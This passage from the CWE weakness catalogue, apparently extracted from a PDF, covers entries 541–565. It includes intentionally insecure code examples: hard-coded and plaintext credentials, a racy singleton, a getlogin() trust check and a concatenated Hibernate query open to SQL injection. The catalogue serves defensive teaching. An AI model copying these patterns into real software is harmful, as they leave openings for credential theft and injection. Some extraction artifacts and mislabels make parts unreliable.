Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1113

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in include files.

Phase: Architecture and Design

Phase: System Configuration

Protect include files from being exposed.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password. Note this is also an example of CWE-433.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID : 543 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1512

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	
Integrity	Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness = Limited

Demonstrative Examples

Example 1:

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

Example Language: Java *(bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
    if (singleton == null) {
        singleton = new NumberConverter();
    }
    return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID : 544 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-546: Suspicious Comment

Weakness ID : 546 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Demonstrative Examples

Example 1:

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Example Language: Java *(bad)*

```
if (user == null) {
    // TODO: Handle null user condition.
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID : 547 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation *The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.*	

Potential Mitigations

Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Demonstrative Examples

Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C *(bad)*

```
char buffer[1024];
...
```

```
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurences, in this example it could lead to a buffer overflow.

Example Language: C *(bad)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CERT C Secure Coding	DCL06-C		Use meaningful symbolic constants to represent literal values in program logic

CWE-548: Exposure of Information Through Directory Listing

Weakness ID : 548 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1062

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.*	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-549: Missing Password Field Masking

Weakness ID : 549 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-550: Server-generated Error Message Containing Sensitive Information

Weakness ID : 550 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID : 551 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	696	Incorrect Behavior Order	1348
ChildOf	C	863	Incorrect Authorization	1573

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013
MemberOf	C	438	Behavioral Problems	1867

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875

CWE-552: Files or Directories Accessible to External Parties

Weakness ID : 552 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product makes files or directories accessible to unauthorized actors, even though they should not be.

Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID : 554 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use an input validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

Potential Mitigations

Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID : 555 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1091

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not hardwire passwords into your software.

Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Example Language: Java *(bad)*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

MemberOf Relationships

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID : 556 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	580

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID : 558 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1290

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Phase: Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Demonstrative Examples

Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
    allow();
} else {
    deny();
}
```

Software Fault Patterns	SFP3		Use of an improper API

CWE-560: Use of umask() with chmod-style Argument

Weakness ID : 560 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	687	Function Call With Incorrectly Specified Argument Value	1335

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Use umask() with the correct argument.

Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934

Notes

Other

The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

CWE-561: Dead Code

Weakness ID : 561 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains dead code, which can never be executed.

Extended Description

Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.*	
Other	Reduce Maintainability	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Compare binary / bytecode to application permission manifest

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Cost effective for partial coverage: Warning Flags Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

Example Language: C++ *(bad)*

```
String s = null;
if (b) {
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Example Language: Java *(bad)*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Example Language: Java *(bad)*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing MITM attack (Apple "goto fail" bug). CWE-562: Return of Stack Variable Address

Weakness ID : 562 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CanPrecede	C	672	Operation on a Resource after Expiration or Release	1310
CanPrecede	B	825	Expired Pointer Dereference	1523

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.*	

Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.

Demonstrative Examples

Example 1:

The following function returns a stack address.

Example Language: C *(bad)*

```
char* getName() {
    char name[STR_MAX];
    fillInName(name);
    return name;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-563: Assignment to Variable without Use

Weakness ID : 563 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The variable's value is assigned but never used, making it a dead store.

Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Alternate Terms

Unused Variable :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context *This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Implementation

Remove unused variables from the code.

Demonstrative Examples

Example 1:

The following code excerpt assigns to the variable r and then overwrites the value without using it.

Example Language: C *(bad)*

```
r = getName();
r = getNewBuffer(buf);
```

CWE-564: SQL Injection: Hibernate

Weakness ID : 564 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of

the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Demonstrative Examples

Example 1:

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java *(bad)*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID : 565 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	C	642	External Control of Critical State Data	1257
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1456

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.*	

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

